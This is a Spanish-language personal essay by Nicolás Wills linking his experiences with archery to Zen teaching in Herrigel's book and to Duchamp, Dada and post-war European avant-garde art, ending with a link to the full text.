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Adentro del ojo del toro por Nicolas Wills

de cómo la angustia existencial le puso la cola al burro  por NICOLÁS WILLS

Sumergido en angustias adolescentes, recorriendo todos los rincones de la casa familiar buscando respuestas, pistas, antídotos secretos para calmar este mal, encontré un par de arcos. Uno era verde militar con mango negro, todo de plástico, el otro era grande como de tres tipos de madera. En ese mismo manoteo encontré un revólver y un rifle antiguo, pero ése es otro cuento.

Más tarde supe que mis padres fueron arqueros en algún momento de sus vidas. Mi padre llegó a perderse días en la selva con indígenas cazando micos para comer, y mi madre llegó a perder su centro en más de una ocasión, terminando, generalmente, en cuidados intensivos en un hospital psiquiátrico. Ambos recomendaban el libro Zen en el arte de tiro con arco de Eugen Herrigel. Recuerdo a mi madre siempre diciendo: “el truco está en la respiración”, un consejo al parecer simple pero que guarda muchos secretos. Teitaro Suzuki, el sabio que supo abrir la doctrina Zen a occidente, hace la introducción al libro recomendando hacerse uno con el blanco. ¿Cómo? Quizás de la misma manera en que lo hicieron las vanguardias artísticas del siglo pasado, aquellos ismos que intentaban por diferentes frentes unir el arte con la vida.

Con Marcel Duchamp aparece el ready-made como un claro statement de que un objeto cotidiano puede ser arte. El arte amplía sus materiales, su campo de acción, y se abre en un abanico que todavía nos algo tiene mareados. La fotografía le dio una muerte a la pintura, la suplanto en su rol de retratista, la desplazó. Quizás el ready-made también hizo algo parecido con el Arte en general. Lo atravesó desde adentro para afuera. Un harakiri que le salvó la vida.

“ El hombre es un ser pensante, pero sus grandes obras las realiza cuando no piensa ni calcula. Debemos re – conquistar el candor infantil a través de largos años de ejercitación en el arte de olvidarnos de nosotros mismos. Logrado esto, el hombre piensa sin pensar”, dice Suzuki, pero podrían ser las mismas palabras de Tristan Tzara introduciendo de manera demasiado solemne una soirée dadaísta en el Cabaret Voltaire o las del mismo André Breton mientras comparte un cadáver exquisito para volver a darle vida al juego, tan olvidado en una sociedad ya entrada en su era industrial. ¿Pero cómo reencontrar ese candor infantil que describe Suzuki? El camino es largo para volver al niño.

La vida nos corrompe, natural y afortunadamente. ¿ Cómo en – tonces dejar el cálculo, la Razón, el pensamiento lógico que nos organiza en el mundo pero que nos va enfrian – do, endureciendo?¿ Cómo volver a pintar con las manos cuando sabemos que el pigmento nos envenena? Hay un factor trágico en toda la ecuación. La desdicha de la inocencia robada. ¿ Cómo se consuela ese niño para que vuelva? ¿ Con kilos de dulce? Pero si el adulto ya no puede permitirse esa desmesuras; ya conoce sus órganos, ya ha entendido un poco más de lo que lleva su sangre. ¿ Dónde está el candor y cómo se recupera? Habrá que respirar profundo y hacerse de juguetes para adultos.

“¿ Comprende usted ahora -me preguntó el maestro después de un tiro especialmente bien logrado -lo que quiere decir ` Ello’ dispara, ` Ello’ acierta?” “ Me temo -respondí- que ya no comprendo nada; hasta lo más sencillo se me vuelve confuso. ¿ Soy yo quien estira el arco, o es el arco que me atrae al estado de máxima tensión? ¿ Soy yo quien da en el blanco, o es el blanco que acierta en mí? ¿ El ` Ello’ es espiritual, visto con los ojos del cuerpo, o corporal, visto con los del espíritu? ¿ Es ambas cosas o ninguna? Todo eso: el arco, la flecha, el blanco y yo estamos enredados de tal manera que ya no me es posible separar nada. Y hasta el deseo de separar ha desaparecido. Porque apenas tomo el arco y disparo, todo se vuelve tan claro, tan unívoco y tan ridícula – mente simple…”

“En este mismo instante -me interrumpió el maestro- la cuerda del arco acaba de atravesarle a usted por el centro”. Zen en el arte de tiro con arco de Eugene Herrigel, 1948

No fue sino hasta los veinte años que tiré mi primera flecha. Caminaba por las calles de Buenos Aires viviendo mi odisea bohemia adolescente de estudiar cine en una ciudad tan romántica como dicen que es París. De hecho, por un rato como Napoleón con su Las desventuras del joven Werther, cargaba en mi mochila París, una novela de Mario Levrero, un uruguayo que escribe sobre esa ciudad que sólo conocía por rumores y relatos de viajes de otros. Me gustaba ser un colombiano en Latinoamérica sin la fiebre de visitar Europa pero rebuscando y tragando todo lo europeo en Argentina. Caminando encontré un lugar de tiro al blanco. Lo atendía un argentino de pelo largo y liso que escuchaba una suerte de heavy metal mezclado con música del medioevo. Aprendí a tensar el arco, disparar, recoger, corregir, respirar, soltar. No podría decir que entré en una dinámica de maestro y alumno cercana a la de Herrigel, pero sí frecuentaba el lugar cada vez más. Me gustaban mucho los blancos de tiro: azul con amarillo, rojo y negro, círculos dentro de círculos, heno, y el placer que generaba atravesar, irrumpir en el vórtice para luego volver a empezar.

Por cosas de la vida, como dicen por ahí, dejé Buenos Aires y mi lugar de práctica de tiro al blanco. No había terminado la carrera de cine, y a manera de chiste pesado le pedí a mi maestro de tiro que me imprimiera un diploma de ésos que le daba a los niños matriculados por sus padres en las clases, esperando quizá retomar unas horas de intimidad. Era un diploma opaco, color caca y pixelado, que además tenía mi apellido con una i de más. A mis padres no les hizo mucha gracia el papelito. Tuve que desenvolver mi rollo de cartones al óleo y contarles mis planes sobre estudiar artes visuales.

En un estado de tránsito en Colombia, mientras aplicaba para la visa para ir a estudiar a Alemania y me era negada dos veces con sellos de aguilita, volví a tensar el arco. Unos vecinos me prestaron un espacio en su jardín donde armé una estructura de heno y madera. Compraba unos cartones como de un metro cuadrado donde me ponía a dibujar mis dianas. Tenía carbón a la mano por mis clases de figura humana y fue así como salieron los círculos, uno dentro de otro, con negros, grises y los rayones típicos del material. Luego les disparaba y como buen On Kawara los fechaba buscando atrapar algo del presente de esos días. No tengo registro de las piezas, pero los dibujos seguro siguen en algún cuarto con humedad en la casa de mi padre en Bogotá.

El arco viajó a México pero después de una o dos veces de ir a tirar flechas a la UNAM se guardó y las atenciones se fueron a otros lugares. Mientras el arco descansaba vi cómo arcos, flechas y blancos aparecían en el imaginario de Europa después de su Gran Guerra. Llegó ese estado lúgubre residuo de tantas muertes, mutilados, huérfanos, y ciudades destruidas. ¿Y todo esto en nombre de qué, de quién? Ya no era claro, lo cierto es que había un desangramiento poblacional, una anemia colectiva, un vacío andante. Dadaísmo, nihilismo, existencialismo, hablaban de un vacío simbólico, temático, carnal, donde ya no había nada que decir más que puro balbuceo infantil en forma de poesía, collage, soirées, y pequeños encuentros en bares y cafés a lo largo de Europa. Era quizás la primera muerte de la Modernidad, la máquina que enfermó al hombre con su grandilocuencia. Murió el gran Arte. El ego que creció tanto que explotó generando una baja de presión que creó el vacío y luego el remolino. Un vórtice que da vueltas como los discos de Duchamp, su cine anémico de 1926 o sus ruedas de bicicleta de 1913 y que nos marea como el blanco del papel antes de empezar un trazo. Gira como la piedra de Sísifo empujada por Camus mientras tararea el “no poslodocosmos de impuros ceros noes que noan noan noan” del poeta argentino Oliverio Girondo que gira en delirio como la pluma de Adolf Wölfli encerrado para siempre en un manicomio en Berna.♦

Para leer el texto completo:

https://interferencechannel.files.wordpress.com/2016/08/segundaedicion1.pdf

 

 

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